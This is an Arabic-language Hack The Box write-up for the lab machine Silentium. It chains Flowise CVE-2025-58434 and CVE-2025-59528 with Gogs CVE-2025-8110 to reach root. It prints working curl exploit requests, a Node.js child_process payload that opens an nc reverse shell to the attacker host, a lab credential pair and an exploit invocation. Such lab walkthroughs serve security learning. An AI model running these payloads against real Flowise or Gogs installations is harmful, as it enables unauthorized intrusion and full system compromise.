تقرير HTB - Silentium

معلومات الجهاز

• الاسم: Silentium
• نظام التشغيل: Linux
• الصعوبة: سهل
• الثغرات (CVEs): CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

---

التعداد

فحص Nmap

nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt

المنافذ المفتوحة: 22 (SSH), 80 (HTTP)

المضيفات الافتراضيةstaging.silentium.htb يعمل بنسخة Flowise 3.0.5

---

الوصول الأولي — RCE في Flowise

CVE-2025-58434 — تسريب رمز إعادة تعيين كلمة المرور دون مصادقة

تسرّب نقطة نهاية forgot-password رمز tempToken مباشرةً في استجابة الـ API.

curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

استخدم رمز tempToken المُسرَّب لإعادة تعيين كلمة المرور:

curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — RCE بمصادقة عبر CustomMCP

سجّل الدخول للحصول على مفتاح API ثم شغّل الثغرة:

curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'

حصلنا على شل داخل حاوية Docker بصلاحية root.

---

الهروب من الحاوية

فحصنا متغيرات البيئة:

env

وجدنا بيانات الاعتماد:

• FLOWISE_USERNAME=ben
• FLOWISE_PASSWORD=F1l3_d0ck3r

الاتصال بالمضيف عبر SSH:

ssh ben@<IP>

---

تصعيد الامتيازات — Gogs CVE-2025-8110

يعمل Gogs داخليًا على المنفذ 3001 بصلاحية root.

أنشئ نفق SSH:

ssh -L 8080:127.0.0.1:3001 ben@<IP>

سجّلنا حسابًا في Gogs عبر http://127.0.0.1:8080 وأنشأنا رمز API.

CVE-2025-8110 — تجاوز الروابط الرمزية في واجهة PutContents

استخدمنا استغلال TYehan:

python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <LHOST> \
  --port 4446

حصلنا على شل بصلاحية root! 🎉

---

الأعلام

• علم المستخدم: /home/ben/user.txt
• علم الجذر: /root/root.txt

---

الأدوات المستخدمة

• nmap
• curl
• ffuf
• netcat
• Python3

المراجع

• CVE-2025-58434
• CVE-2025-59528
• CVE-2025-8110 أُضيف إلى /etc/hosts: